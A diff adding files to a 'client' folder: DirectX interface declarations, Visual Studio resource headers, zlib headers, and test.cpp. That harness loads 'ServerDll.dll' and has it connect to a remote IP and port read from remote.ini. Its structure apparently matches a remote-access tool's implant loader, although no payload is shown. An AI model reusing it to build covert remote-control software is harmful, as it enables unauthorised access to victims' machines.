#define INTERFACE IDirect3DRMVisualArray
|
||||||
|
DECLARE_INTERFACE_(IDirect3DRMVisualArray, IDirect3DRMArray) {
|
||||||
|
IUNKNOWN_METHODS(PURE);
|
||||||
|
STDMETHOD_(DWORD, GetSize)(THIS) PURE;
|
||||||
|
STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMVISUAL *) PURE;
|
||||||
|
};
|
||||||
|
#undef INTERFACE
|
||||||
|
#define INTERFACE IDirect3DRMPickedArray
|
||||||
|
DECLARE_INTERFACE_(IDirect3DRMPickedArray, IDirect3DRMArray) {
|
||||||
|
IUNKNOWN_METHODS(PURE);
|
||||||
|
STDMETHOD_(DWORD, GetSize)(THIS) PURE;
|
||||||
|
STDMETHOD(GetPick)(THIS_ DWORD index, LPDIRECT3DRMVISUAL *, LPDIRECT3DRMFRAMEARRAY *, LPD3DRMPICKDESC) PURE;
|
||||||
|
};
|
||||||
|
#undef INTERFACE
|
||||||
|
#define INTERFACE IDirect3DRMLightArray
|
||||||
|
DECLARE_INTERFACE_(IDirect3DRMLightArray, IDirect3DRMArray) {
|
||||||
|
IUNKNOWN_METHODS(PURE);
|
||||||
|
STDMETHOD_(DWORD, GetSize)(THIS) PURE;
|
||||||
|
STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMLIGHT *) PURE;
|
||||||
|
};
|
||||||
|
#undef INTERFACE
|
||||||
|
#define INTERFACE IDirect3DRMFaceArray
|
||||||
|
DECLARE_INTERFACE_(IDirect3DRMFaceArray, IDirect3DRMArray) {
|
||||||
|
IUNKNOWN_METHODS(PURE);
|
||||||
|
STDMETHOD_(DWORD, GetSize)(THIS) PURE;
|
||||||
|
STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMFACE *) PURE;
|
||||||
|
};
|
||||||
|
#endif
|
||||||
5362
client/dxtrans.h
Normal file
5362
client/dxtrans.h
Normal file
File diff suppressed because it is too large
Load Diff
10236
client/qedit.h
Normal file
10236
client/qedit.h
Normal file
File diff suppressed because it is too large
Load Diff
18
client/resource.h
Normal file
18
client/resource.h
Normal file
@@ -0,0 +1,18 @@
|
|||||||
|
//{{NO_DEPENDENCIES}}
|
||||||
|
// Microsoft Developer Studio generated include file.
|
||||||
|
// Used by Script.rc
|
||||||
|
//
|
||||||
|
#define IDD_DIALOG 101
|
||||||
|
#define IDR_WAVE 102
|
||||||
|
#define IDC_EDIT_MESSAGE 1000
|
||||||
|
|
||||||
|
// Next default values for new objects
|
||||||
|
//
|
||||||
|
#ifdef APSTUDIO_INVOKED
|
||||||
|
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||||
|
#define _APS_NEXT_RESOURCE_VALUE 103
|
||||||
|
#define _APS_NEXT_COMMAND_VALUE 40001
|
||||||
|
#define _APS_NEXT_CONTROL_VALUE 1001
|
||||||
|
#define _APS_NEXT_SYMED_VALUE 101
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
14
client/resource1.h
Normal file
14
client/resource1.h
Normal file
@@ -0,0 +1,14 @@
|
|||||||
|
//{{NO_DEPENDENCIES}}
|
||||||
|
// Microsoft Visual C++ generated include file.
|
||||||
|
// Used by TestRun.rc
|
||||||
|
|
||||||
|
// <20>¶<EFBFBD><C2B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>Ĭ<EFBFBD><C4AC>ֵ
|
||||||
|
//
|
||||||
|
#ifdef APSTUDIO_INVOKED
|
||||||
|
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||||
|
#define _APS_NEXT_RESOURCE_VALUE 101
|
||||||
|
#define _APS_NEXT_COMMAND_VALUE 40001
|
||||||
|
#define _APS_NEXT_CONTROL_VALUE 1001
|
||||||
|
#define _APS_NEXT_SYMED_VALUE 101
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
53
client/test.cpp
Normal file
53
client/test.cpp
Normal file
@@ -0,0 +1,53 @@
|
|||||||
|
#include <windows.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <iostream>
|
||||||
|
|
||||||
|
typedef void (*StopRun)();
|
||||||
|
|
||||||
|
typedef bool (*IsStoped)();
|
||||||
|
|
||||||
|
// ֹͣ<CDA3><D6B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
StopRun stop = NULL;
|
||||||
|
|
||||||
|
// <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ
|
||||||
|
IsStoped bStop = NULL;
|
||||||
|
|
||||||
|
struct CONNECT_ADDRESS
|
||||||
|
{
|
||||||
|
DWORD dwFlag;
|
||||||
|
char szServerIP[MAX_PATH];
|
||||||
|
int iPort;
|
||||||
|
}g_ConnectAddress={0x1234567,"",0};
|
||||||
|
|
||||||
|
int main()
|
||||||
|
{
|
||||||
|
char path[_MAX_PATH], *p = path;
|
||||||
|
GetModuleFileNameA(NULL, path, sizeof(path));
|
||||||
|
while (*p) ++p;
|
||||||
|
while ('\\' != *p) --p;
|
||||||
|
strcpy(p+1, "ServerDll.dll");
|
||||||
|
HMODULE hDll = LoadLibraryA(path);
|
||||||
|
typedef void (*TestRun)(char* strHost,int nPort );
|
||||||
|
TestRun run = hDll ? TestRun(GetProcAddress(hDll, "TestRun")) : NULL;
|
||||||
|
stop = hDll ? StopRun(GetProcAddress(hDll, "StopRun")) : NULL;
|
||||||
|
bStop = hDll ? IsStoped(GetProcAddress(hDll, "IsStoped")) : NULL;
|
||||||
|
if (run)
|
||||||
|
{
|
||||||
|
char *ip = g_ConnectAddress.szServerIP;
|
||||||
|
int &port = g_ConnectAddress.iPort;
|
||||||
|
if (0 == strlen(ip))
|
||||||
|
{
|
||||||
|
strcpy(p+1, "remote.ini");
|
||||||
|
GetPrivateProfileStringA("remote", "ip", "127.0.0.1", ip, _MAX_PATH, path);
|
||||||
|
port = GetPrivateProfileIntA("remote", "port", 2356, path);
|
||||||
|
}
|
||||||
|
printf("[remote] %s:%d\n", ip, port);
|
||||||
|
run(ip, port);
|
||||||
|
#ifdef _DEBUG
|
||||||
|
while(1){ char ch[64]; std::cin>>ch; if (ch[0]=='q'){ break; } }
|
||||||
|
if (stop) stop();
|
||||||
|
while(bStop && !bStop()) Sleep(200);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
279
client/zconf.h
Normal file
279
client/zconf.h
Normal file
@@ -0,0 +1,279 @@
|
|||||||
|
/* zconf.h -- configuration of the zlib compression library
|
||||||
|
* Copyright (C) 1995-2002 Jean-loup Gailly.
|
||||||
|
* For conditions of distribution and use, see copyright notice in zlib.h
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* @(#) $Id$ */
|
||||||
|
|
||||||
|
#ifndef _ZCONF_H
|
||||||
|
#define _ZCONF_H
|
||||||
|
|
||||||
|
/*
|
||||||
|
* If you *really* need a unique prefix for all types and library functions,
|
||||||
|
* compile with -DZ_PREFIX. The "standard" zlib should be compiled without it.
|
||||||
|
*/
|
||||||
|
#ifdef Z_PREFIX
|
||||||
|
# define deflateInit_ z_deflateInit_
|
||||||
|
# define deflate z_deflate
|
||||||
|
# define deflateEnd z_deflateEnd
|
||||||
|
# define inflateInit_ z_inflateInit_
|
||||||
|
# define inflate z_inflate
|
||||||
|
# define inflateEnd z_inflateEnd
|
||||||
|
# define deflateInit2_ z_deflateInit2_
|
||||||
|
# define deflateSetDictionary z_deflateSetDictionary
|
||||||
|
# define deflateCopy z_deflateCopy
|
||||||
|
# define deflateReset z_deflateReset
|
||||||
|
# define deflateParams z_deflateParams
|
||||||
|
# define inflateInit2_ z_inflateInit2_
|
||||||
|
# define inflateSetDictionary z_inflateSetDictionary
|
||||||
|
# define inflateSync z_inflateSync
|
||||||
|
# define inflateSyncPoint z_inflateSyncPoint
|
||||||
|
# define inflateReset z_inflateReset
|
||||||
|
# define compress z_compress
|
||||||
|
# define compress2 z_compress2
|
||||||
|
# define uncompress z_uncompress
|
||||||
|
# define adler32 z_adler32
|
||||||
|
# define crc32 z_crc32
|
||||||
|
# define get_crc_table z_get_crc_table
|
||||||
|
|
||||||
|
# define Byte z_Byte
|
||||||
|
# define uInt z_uInt
|
||||||
|
# define uLong z_uLong
|
||||||
|
# define Bytef z_Bytef
|
||||||
|
# define charf z_charf
|
||||||
|
# define intf z_intf
|
||||||
|
# define uIntf z_uIntf
|
||||||
|
# define uLongf z_uLongf
|
||||||
|
# define voidpf z_voidpf
|
||||||
|
# define voidp z_voidp
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#if (defined(_WIN32) || defined(__WIN32__)) && !defined(WIN32)
|
||||||
|
# define WIN32
|
||||||
|
#endif
|
||||||
|
#if defined(__GNUC__) || defined(WIN32) || defined(__386__) || defined(i386)
|
||||||
|
# ifndef __32BIT__
|
||||||
|
# define __32BIT__
|
||||||
|
# endif
|
||||||
|
#endif
|
||||||
|
#if defined(__MSDOS__) && !defined(MSDOS)
|
||||||
|
# define MSDOS
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Compile with -DMAXSEG_64K if the alloc function cannot allocate more
|
||||||
|
* than 64k bytes at a time (needed on systems with 16-bit int).
|
||||||
|
*/
|
||||||
|
#if defined(MSDOS) && !defined(__32BIT__)
|
||||||
|
# define MAXSEG_64K
|
||||||
|
#endif
|
||||||
|
#ifdef MSDOS
|
||||||
|
# define UNALIGNED_OK
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#if (defined(MSDOS) || defined(_WINDOWS) || defined(WIN32)) && !defined(STDC)
|
||||||
|
# define STDC
|
||||||
|
#endif
|
||||||
|
#if defined(__STDC__) || defined(__cplusplus) || defined(__OS2__)
|
||||||
|
# ifndef STDC
|
||||||
|
# define STDC
|
||||||
|
# endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef STDC
|
||||||
|
# ifndef const /* cannot use !defined(STDC) && !defined(const) on Mac */
|
||||||
|
# define const
|
||||||
|
# endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* Some Mac compilers merge all .h files incorrectly: */
|
||||||
|
#if defined(__MWERKS__) || defined(applec) ||defined(THINK_C) ||defined(__SC__)
|
||||||
|
# define NO_DUMMY_DECL
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* Old Borland C incorrectly complains about missing returns: */
|
||||||
|
#if defined(__BORLANDC__) && (__BORLANDC__ < 0x500)
|
||||||
|
# define NEED_DUMMY_RETURN
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
/* Maximum value for memLevel in deflateInit2 */
|
||||||
|
#ifndef MAX_MEM_LEVEL
|
||||||
|
# ifdef MAXSEG_64K
|
||||||
|
# define MAX_MEM_LEVEL 8
|
||||||
|
# else
|
||||||
|
# define MAX_MEM_LEVEL 9
|
||||||
|
# endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* Maximum value for windowBits in deflateInit2 and inflateInit2.
|
||||||
|
* WARNING: reducing MAX_WBITS makes minigzip unable to extract .gz files
|
||||||
|
* created by gzip. (Files created by minigzip can still be extracted by
|
||||||
|
* gzip.)
|
||||||
|
*/
|
||||||
|
#ifndef MAX_WBITS
|
||||||
|
# define MAX_WBITS 15 /* 32K LZ77 window */
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* The memory requirements for deflate are (in bytes):
|
||||||
|
(1 << (windowBits+2)) + (1 << (memLevel+9))
|
||||||
|
that is: 128K for windowBits=15 + 128K for memLevel = 8 (default values)
|
||||||
|
plus a few kilobytes for small objects. For example, if you want to reduce
|
||||||
|
the default memory requirements from 256K to 128K, compile with
|
||||||
|
make CFLAGS="-O -DMAX_WBITS=14 -DMAX_MEM_LEVEL=7"
|
||||||
|
Of course this will generally degrade compression (there's no free lunch).
|
||||||
|
|
||||||
|
The memory requirements for inflate are (in bytes) 1 << windowBits
|
||||||
|
that is, 32K for windowBits=15 (default value) plus a few kilobytes
|
||||||
|
for small objects.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* Type declarations */
|
||||||
|
|
||||||
|
#ifndef OF /* function prototypes */
|
||||||
|
# ifdef STDC
|
||||||
|
# define OF(args) args
|
||||||
|
# else
|
||||||
|
# define OF(args) ()
|
||||||
|
# endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* The following definitions for FAR are needed only for MSDOS mixed
|
||||||
|
* model programming (small or medium model with some far allocations).
|
||||||
|
* This was tested only with MSC; for other MSDOS compilers you may have
|
||||||
|
* to define NO_MEMCPY in zutil.h. If you don't need the mixed model,
|
||||||
|
* just define FAR to be empty.
|
||||||
|
*/
|
||||||
|
#if (defined(M_I86SM) || defined(M_I86MM)) && !defined(__32BIT__)
|
||||||
|
/* MSC small or medium model */
|
||||||
|
# define SMALL_MEDIUM
|
||||||
|
# ifdef _MSC_VER
|
||||||
|
# define FAR _far
|
||||||
|
# else
|
||||||
|
# define FAR far
|
||||||
|
# endif
|
||||||
|
#endif
|
||||||
|
#if defined(__BORLANDC__) && (defined(__SMALL__) || defined(__MEDIUM__))
|
||||||
|
# ifndef __32BIT__
|
||||||
|
# define SMALL_MEDIUM
|
||||||
|
# define FAR _far
|
||||||
|
# endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* Compile with -DZLIB_DLL for Windows DLL support */
|
||||||
|
#if defined(ZLIB_DLL)
|
||||||
|
# if defined(_WINDOWS) || defined(WINDOWS)
|
||||||
|
# ifdef FAR
|
||||||
|
# undef FAR
|
||||||
|
# endif
|
||||||
|
# include <windows.h>
|
||||||
|
# define ZEXPORT WINAPI
|
||||||
|
# ifdef WIN32
|
||||||
|
# define ZEXPORTVA WINAPIV
|
||||||
|
# else
|
||||||
|
# define ZEXPORTVA FAR _cdecl _export
|
||||||
|
# endif
|
||||||
|
# endif
|
||||||
|
# if defined (__BORLANDC__)
|
||||||
|
# if (__BORLANDC__ >= 0x0500) && defined (WIN32)
|
||||||
|
# include <windows.h>
|
||||||
|
# define ZEXPORT __declspec(dllexport) WINAPI
|
||||||
|
# define ZEXPORTRVA __declspec(dllexport) WINAPIV
|
||||||
|
# else
|
||||||
|
# if defined (_Windows) && defined (__DLL__)
|
||||||
|
# define ZEXPORT _export
|
||||||
|
# define ZEXPORTVA _export
|
||||||
|
# endif
|
||||||
|
# endif
|
||||||
|
# endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#if defined (__BEOS__)
|
||||||
|
# if defined (ZLIB_DLL)
|
||||||
|
# define ZEXTERN extern __declspec(dllexport)
|
||||||
|
# else
|
||||||
|
# define ZEXTERN extern __declspec(dllimport)
|
||||||
|
# endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef ZEXPORT
|
||||||
|
# define ZEXPORT
|
||||||
|
#endif
|
||||||
|
#ifndef ZEXPORTVA
|
||||||
|
# define ZEXPORTVA
|
||||||
|
#endif
|
||||||
|
#ifndef ZEXTERN
|
||||||
|
# define ZEXTERN extern
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef FAR
|
||||||
|
# define FAR
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#if !defined(MACOS) && !defined(TARGET_OS_MAC)
|
||||||
|
typedef unsigned char Byte; /* 8 bits */
|
||||||
|
#endif
|
||||||
|
typedef unsigned int uInt; /* 16 bits or more */
|
||||||
|
typedef unsigned long uLong; /* 32 bits or more */
|
||||||
|
|
||||||
|
#ifdef SMALL_MEDIUM
|
||||||
|
/* Borland C/C++ and some old MSC versions ignore FAR inside typedef */
|
||||||
|
# define Bytef Byte FAR
|
||||||
|
#else
|
||||||
|
typedef Byte FAR Bytef;
|
||||||
|
#endif
|
||||||
|
typedef char FAR charf;
|
||||||
|
typedef int FAR intf;
|
||||||
|
typedef uInt FAR uIntf;
|
||||||
|
typedef uLong FAR uLongf;
|
||||||
|
|
||||||
|
#ifdef STDC
|
||||||
|
typedef void FAR *voidpf;
|
||||||
|
typedef void *voidp;
|
||||||
|
#else
|
||||||
|
typedef Byte FAR *voidpf;
|
||||||
|
typedef Byte *voidp;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef HAVE_UNISTD_H
|
||||||
|
# include <sys/types.h> /* for off_t */
|
||||||
|
# include <unistd.h> /* for SEEK_* and off_t */
|
||||||
|
# define z_off_t off_t
|
||||||
|
#endif
|
||||||
|
#ifndef SEEK_SET
|
||||||
|
# define SEEK_SET 0 /* Seek from beginning of file. */
|
||||||
|
# define SEEK_CUR 1 /* Seek from current position. */
|
||||||
|
# define SEEK_END 2 /* Set file pointer to EOF plus "offset" */
|
||||||
|
#endif
|
||||||
|
#ifndef z_off_t
|
||||||
|
# define z_off_t long
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* MVS linker does not support external names larger than 8 bytes */
|
||||||
|
#if defined(__MVS__)
|
||||||
|
# pragma map(deflateInit_,"DEIN")
|
||||||
|
# pragma map(deflateInit2_,"DEIN2")
|
||||||
|
# pragma map(deflateEnd,"DEEND")
|
||||||
|
# pragma map(inflateInit_,"ININ")
|
||||||
|
# pragma map(inflateInit2_,"ININ2")
|
||||||
|
# pragma map(inflateEnd,"INEND")
|
||||||
|
# pragma map(inflateSync,"INSY")
|
||||||
|
# pragma map(inflateSetDictionary,"INSEDI")
|
||||||
|
# pragma map(inflate_blocks,"INBL")
|
||||||
|
# pragma map(inflate_blocks_new,"INBLNE")
|
||||||
|
# pragma map(inflate_blocks_free,"INBLFR")
|
||||||
|
# pragma map(inflate_blocks_reset,"INBLRE")
|
||||||
|
# pragma map(inflate_codes_free,"INCOFR")
|
||||||
|
# pragma map(inflate_codes,"INCO")
|
||||||
|
# pragma map(inflate_fast,"INFA")
|
||||||
|
# pragma map(inflate_flush,"INFLU")
|
||||||
|
# pragma map(inflate_mask,"INMA")
|
||||||
|
# pragma map(inflate_set_dictionary,"INSEDI2")
|
||||||
|
# pragma map(inflate_copyright,"INCOPY")
|
||||||
|
# pragma map(inflate_trees_bits,"INTRBI")
|
||||||
|
# pragma map(inflate_trees_dynamic,"INTRDY")
|
||||||
|
# pragma map(inflate_trees_fixed,"INTRFI")
|
||||||
|
# pragma map(inflate_trees_free,"INTRFR")
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif /* _ZCONF_H */
|
||||||
893
client/zlib.h
Normal file
893
client/zlib.h
Normal file
@@ -0,0 +1,893 @@
|
|||||||
|
/* zlib.h -- interface of the 'zlib' general purpose compression library
|
||||||
|
version 1.1.4, March 11th, 2002
|
||||||
|
|
||||||
|
Copyright (C) 1995-2002 Jean-loup Gailly and Mark Adler
|
||||||
|
|
||||||
|
This software is provided 'as-is', without any express or implied
|
||||||
|
warranty. In no event will the authors be held liable for any damages
|
||||||
|
arising from the use of this software.
|
||||||
|
|
||||||
|
Permission is granted to anyone to use this software for any purpose,
|
||||||
|
including commercial applications, and to alter it and redistribute it
|
||||||
|
freely, subject to the following restrictions:
|
||||||
|
|
||||||
|
1. The origin of this software must not be misrepresented; you must not
|
||||||
|
claim that you wrote the original software. If you use this software
|
||||||
|
in a product, an acknowledgment in the product documentation would be
|
||||||
|
appreciated but is not required.
|
||||||
|
2. Altered source versions must be plainly marked as such, and must not be
|
||||||
|
misrepresented as being the original software.
|
||||||
|
3. This notice may not be removed or altered from any source distribution.
|
||||||
|
|
||||||
|
Jean-loup Gailly Mark Adler
|
||||||
|
jloup@gzip.org madler@alumni.caltech.edu
|
||||||
|
|
||||||
|
|
||||||
|
The data format used by the zlib library is described by RFCs (Request for
|
||||||
|
Comments) 1950 to 1952 in the files ftp://ds.internic.net/rfc/rfc1950.txt
|
||||||
|
(zlib format), rfc1951.txt (deflate format) and rfc1952.txt (gzip format).
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef _ZLIB_H
|
||||||
|
#define _ZLIB_H
|
||||||
|
|
||||||
|
#include "zconf.h"
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define ZLIB_VERSION "1.1.4"
|
||||||
|
|
||||||
|
/*
|
||||||
|
The 'zlib' compression library provides in-memory compression and
|
||||||
|
decompression functions, including integrity checks of the uncompressed
|
||||||
|
data. This version of the library supports only one compression method
|
||||||
|
(deflation) but other algorithms will be added later and will have the same
|
||||||
|
stream interface.
|
||||||
|
|
||||||
|
Compression can be done in a single step if the buffers are large
|
||||||
|
enough (for example if an input file is mmap'ed), or can be done by
|
||||||
|
repeated calls of the compression function. In the latter case, the
|
||||||
|
application must provide more input and/or consume the output
|
||||||
|
(providing more output space) before each call.
|
||||||
|
|
||||||
|
The library also supports reading and writing files in gzip (.gz) format
|
||||||
|
with an interface similar to that of stdio.
|
||||||
|
|
||||||
|
The library does not install any signal handler. The decoder checks
|
||||||
|
the consistency of the compressed data, so the library should never
|
||||||
|
crash even in case of corrupted input.
|
||||||
|
*/
|
||||||
|
|
||||||
|
typedef voidpf (*alloc_func) OF((voidpf opaque, uInt items, uInt size));
|
||||||
|
typedef void (*free_func) OF((voidpf opaque, voidpf address));
|
||||||
|
|
||||||
|
struct internal_state;
|
||||||
|
|
||||||
|
typedef struct z_stream_s {
|
||||||
|
Bytef *next_in; /* next input byte */
|
||||||
|
uInt avail_in; /* number of bytes available at next_in */
|
||||||
|
uLong total_in; /* total nb of input bytes read so far */
|
||||||
|
|
||||||
|
Bytef *next_out; /* next output byte should be put there */
|
||||||
|
uInt avail_out; /* remaining free space at next_out */
|
||||||
|
uLong total_out; /* total nb of bytes output so far */
|
||||||
|
|
||||||
|
char *msg; /* last error message, NULL if no error */
|
||||||
|
struct internal_state FAR *state; /* not visible by applications */
|
||||||
|
|
||||||
|
alloc_func zalloc; /* used to allocate the internal state */
|
||||||
|
free_func zfree; /* used to free the internal state */
|
||||||
|
voidpf opaque; /* private data object passed to zalloc and zfree */
|
||||||
|
|
||||||
|
int data_type; /* best guess about the data type: ascii or binary */
|
||||||
|
uLong adler; /* adler32 value of the uncompressed data */
|
||||||
|
uLong reserved; /* reserved for future use */
|
||||||
|
} z_stream;
|
||||||
|
|
||||||
|
typedef z_stream FAR *z_streamp;
|
||||||
|
|
||||||
|
/*
|
||||||
|
The application must update next_in and avail_in when avail_in has
|
||||||
|
dropped to zero. It must update next_out and avail_out when avail_out
|
||||||
|
has dropped to zero. The application must initialize zalloc, zfree and
|
||||||
|
opaque before calling the init function. All other fields are set by the
|
||||||
|
compression library and must not be updated by the application.
|
||||||
|
|
||||||
|
The opaque value provided by the application will be passed as the first
|
||||||
|
parameter for calls of zalloc and zfree. This can be useful for custom
|
||||||
|
memory management. The compression library attaches no meaning to the
|
||||||
|
opaque value.
|
||||||
|
|
||||||
|
zalloc must return Z_NULL if there is not enough memory for the object.
|
||||||
|
If zlib is used in a multi-threaded application, zalloc and zfree must be
|
||||||
|
thread safe.
|
||||||
|
|
||||||
|
On 16-bit systems, the functions zalloc and zfree must be able to allocate
|
||||||
|
exactly 65536 bytes, but will not be required to allocate more than this
|
||||||
|
if the symbol MAXSEG_64K is defined (see zconf.h). WARNING: On MSDOS,
|
||||||
|
pointers returned by zalloc for objects of exactly 65536 bytes *must*
|
||||||
|
have their offset normalized to zero. The default allocation function
|
||||||
|
provided by this library ensures this (see zutil.c). To reduce memory
|
||||||
|
requirements and avoid any allocation of 64K objects, at the expense of
|
||||||
|
compression ratio, compile the library with -DMAX_WBITS=14 (see zconf.h).
|
||||||
|
|
||||||
|
The fields total_in and total_out can be used for statistics or
|
||||||
|
progress reports. After compression, total_in holds the total size of
|
||||||
|
the uncompressed data and may be saved for use in the decompressor
|
||||||
|
(particularly if the decompressor wants to decompress everything in
|
||||||
|
a single step).
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* constants */
|
||||||
|
|
||||||
|
#define Z_NO_FLUSH 0
|
||||||
|
#define Z_PARTIAL_FLUSH 1 /* will be removed, use Z_SYNC_FLUSH instead */
|
||||||
|
#define Z_SYNC_FLUSH 2
|
||||||
|
#define Z_FULL_FLUSH 3
|
||||||
|
#define Z_FINISH 4
|
||||||
|
/* Allowed flush values; see deflate() below for details */
|
||||||
|
|
||||||
|
#define Z_OK 0
|
||||||
|
#define Z_STREAM_END 1
|
||||||
|
#define Z_NEED_DICT 2
|
||||||
|
#define Z_ERRNO (-1)
|
||||||
|
#define Z_STREAM_ERROR (-2)
|
||||||
|
#define Z_DATA_ERROR (-3)
|
||||||
|
#define Z_MEM_ERROR (-4)
|
||||||
|
#define Z_BUF_ERROR (-5)
|
||||||
|
#define Z_VERSION_ERROR (-6)
|
||||||
|
/* Return codes for the compression/decompression functions. Negative
|
||||||
|
* values are errors, positive values are used for special but normal events.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#define Z_NO_COMPRESSION 0
|
||||||
|
#define Z_BEST_SPEED 1
|
||||||
|
#define Z_BEST_COMPRESSION 9
|
||||||
|
#define Z_DEFAULT_COMPRESSION (-1)
|
||||||
|
/* compression levels */
|
||||||
|
|
||||||
|
#define Z_FILTERED 1
|
||||||
|
#define Z_HUFFMAN_ONLY 2
|
||||||
|
#define Z_DEFAULT_STRATEGY 0
|
||||||
|
/* compression strategy; see deflateInit2() below for details */
|
||||||
|
|
||||||
|
#define Z_BINARY 0
|
||||||
|
#define Z_ASCII 1
|
||||||
|
#define Z_UNKNOWN 2
|
||||||
|
/* Possible values of the data_type field */
|
||||||
|
|
||||||
|
#define Z_DEFLATED 8
|
||||||
|
/* The deflate compression method (the only one supported in this version) */
|
||||||
|
|
||||||
|
#define Z_NULL 0 /* for initializing zalloc, zfree, opaque */
|
||||||
|
|
||||||
|
#define zlib_version zlibVersion()
|
||||||
|
/* for compatibility with versions < 1.0.2 */
|
||||||
|
|
||||||
|
/* basic functions */
|
||||||
|
|
||||||
|
ZEXTERN const char * ZEXPORT zlibVersion OF((void));
|
||||||
|
/* The application can compare zlibVersion and ZLIB_VERSION for consistency.
|
||||||
|
If the first character differs, the library code actually used is
|
||||||
|
not compatible with the zlib.h header file used by the application.
|
||||||
|
This check is automatically made by deflateInit and inflateInit.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
ZEXTERN int ZEXPORT deflateInit OF((z_streamp strm, int level));
|
||||||
|
|
||||||
|
Initializes the internal stream state for compression. The fields
|
||||||
|
zalloc, zfree and opaque must be initialized before by the caller.
|
||||||
|
If zalloc and zfree are set to Z_NULL, deflateInit updates them to
|
||||||
|
use default allocation functions.
|
||||||
|
|
||||||
|
The compression level must be Z_DEFAULT_COMPRESSION, or between 0 and 9:
|
||||||
|
1 gives best speed, 9 gives best compression, 0 gives no compression at
|
||||||
|
all (the input data is simply copied a block at a time).
|
||||||
|
Z_DEFAULT_COMPRESSION requests a default compromise between speed and
|
||||||
|
compression (currently equivalent to level 6).
|
||||||
|
|
||||||
|
deflateInit returns Z_OK if success, Z_MEM_ERROR if there was not
|
||||||
|
enough memory, Z_STREAM_ERROR if level is not a valid compression level,
|
||||||
|
Z_VERSION_ERROR if the zlib library version (zlib_version) is incompatible
|
||||||
|
with the version assumed by the caller (ZLIB_VERSION).
|
||||||
|
msg is set to null if there is no error message. deflateInit does not
|
||||||
|
perform any compression: this will be done by deflate().
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
ZEXTERN int ZEXPORT deflate OF((z_streamp strm, int flush));
|
||||||
|
/*
|
||||||
|
deflate compresses as much data as possible, and stops when the input
|
||||||
|
buffer becomes empty or the output buffer becomes full. It may introduce some
|
||||||
|
output latency (reading input without producing any output) except when
|
||||||
|
forced to flush.
|
||||||
|
|
||||||
|
The detailed semantics are as follows. deflate performs one or both of the
|
||||||
|
following actions:
|
||||||
|
|
||||||
|
- Compress more input starting at next_in and update next_in and avail_in
|
||||||
|
accordingly. If not all input can be processed (because there is not
|
||||||
|
enough room in the output buffer), next_in and avail_in are updated and
|
||||||
|
processing will resume at this point for the next call of deflate().
|
||||||
|
|
||||||
|
- Provide more output starting at next_out and update next_out and avail_out
|
||||||
|
accordingly. This action is forced if the parameter flush is non zero.
|
||||||
|
Forcing flush frequently degrades the compression ratio, so this parameter
|
||||||
|
should be set only when necessary (in interactive applications).
|
||||||
|
Some output may be provided even if flush is not set.
|
||||||
|
|
||||||
|
Before the call of deflate(), the application should ensure that at least
|
||||||
|
one of the actions is possible, by providing more input and/or consuming
|
||||||
|
more output, and updating avail_in or avail_out accordingly; avail_out
|
||||||
|
should never be zero before the call. The application can consume the
|
||||||
|
compressed output when it wants, for example when the output buffer is full
|
||||||
|
(avail_out == 0), or after each call of deflate(). If deflate returns Z_OK
|
||||||
|
and with zero avail_out, it must be called again after making room in the
|
||||||
|
output buffer because there might be more output pending.
|
||||||
|
|
||||||
|
If the parameter flush is set to Z_SYNC_FLUSH, all pending output is
|
||||||
|
flushed to the output buffer and the output is aligned on a byte boundary, so
|
||||||
|
that the decompressor can get all input data available so far. (In particular
|
||||||
|
avail_in is zero after the call if enough output space has been provided
|
||||||
|
before the call.) Flushing may degrade compression for some compression
|
||||||
|
algorithms and so it should be used only when necessary.
|
||||||
|
|
||||||
|
If flush is set to Z_FULL_FLUSH, all output is flushed as with
|
||||||
|
Z_SYNC_FLUSH, and the compression state is reset so that decompression can
|
||||||
|
restart from this point if previous compressed data has been damaged or if
|
||||||
|
random access is desired. Using Z_FULL_FLUSH too often can seriously degrade
|
||||||
|
the compression.
|
||||||
|
|
||||||
|
If deflate returns with avail_out == 0, this function must be called again
|
||||||
|
with the same value of the flush parameter and more output space (updated
|
||||||
|
avail_out), until the flush is complete (deflate returns with non-zero
|
||||||
|
avail_out).
|
||||||
|
|
||||||
|
If the parameter flush is set to Z_FINISH, pending input is processed,
|
||||||
|
pending output is flushed and deflate returns with Z_STREAM_END if there
|
||||||
|
